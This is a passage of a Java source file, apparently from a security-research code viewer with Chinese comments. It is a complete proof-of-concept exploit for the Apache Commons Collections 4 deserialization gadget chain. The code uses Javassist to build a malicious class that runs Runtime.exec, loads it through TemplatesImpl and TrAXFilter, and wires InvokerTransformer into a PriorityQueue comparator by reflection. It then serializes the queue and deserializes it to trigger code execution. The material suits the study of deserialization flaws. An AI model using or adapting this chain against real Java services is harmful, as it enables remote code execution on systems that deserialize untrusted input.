(String[] args)
| 37 | */ |
| 38 | public class CC4Test { |
| 39 | public static void main(String[] args) throws Exception { |
| 40 | // 使用javassit创建一个恶意类 |
| 41 | ClassPool pool = ClassPool.getDefault(); |
| 42 | pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); |
| 43 | CtClass cc = pool.makeClass("Cat"); |
| 44 | String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; |
| 45 | // 创建 static 代码块,并插入代码 |
| 46 | cc.makeClassInitializer().insertBefore(cmd); |
| 47 | String randomClassName = "EvilCat" + System.nanoTime(); |
| 48 | cc.setName(randomClassName); |
| 49 | cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); |
| 50 | // 写入.class 文件 |
| 51 | byte[] classBytes = cc.toBytecode(); |
| 52 | byte[][] targetByteCodes = new byte[][]{classBytes}; |
| 53 | TemplatesImpl templates = TemplatesImpl.class.newInstance(); |
| 54 | setFieldValue(templates, "_bytecodes", targetByteCodes); |
| 55 | // 进入 defineTransletClasses() 方法需要的条件 |
| 56 | setFieldValue(templates, "_name", "name"); |
| 57 | setFieldValue(templates, "_class", null); |
| 58 | |
| 59 | ChainedTransformer chain = new ChainedTransformer(new Transformer[] { |
| 60 | new ConstantTransformer(TrAXFilter.class), |
| 61 | new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) |
| 62 | }); |
| 63 | |
| 64 | Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class); |
| 65 | constructor.setAccessible(true); |
| 66 | InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer"); |
| 67 | |
| 68 | TransformingComparator comparator = new TransformingComparator(transformer); |
| 69 | PriorityQueue queue = new PriorityQueue(1); |
| 70 | |
| 71 | Object[] queue_array = new Object[]{templates,1}; |
| 72 | |
| 73 | Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue"); |
| 74 | queue_field.setAccessible(true); |
| 75 | queue_field.set(queue,queue_array); |
| 76 | |
| 77 | Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size"); |
| 78 | size.setAccessible(true); |
| 79 | size.set(queue,2); |
| 80 | |
| 81 | Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); |
| 82 | comparator_field.setAccessible(true); |
| 83 | comparator_field.set(queue,comparator); |
| 84 | |
| 85 | try{ |
| 86 | ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("result.ser")); |
| 87 | outputStream.writeObject(queue); |
| 88 | outputStream.close(); |
| 89 | |
| 90 | ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("result.ser")); |
| 91 | inputStream.readObject(); |
| 92 | }catch(Exception e){ |
| 93 | e.printStackTrace(); |
| 94 | } |
| 95 | } |
| 96 |
nothing calls this directly
no test coverage detected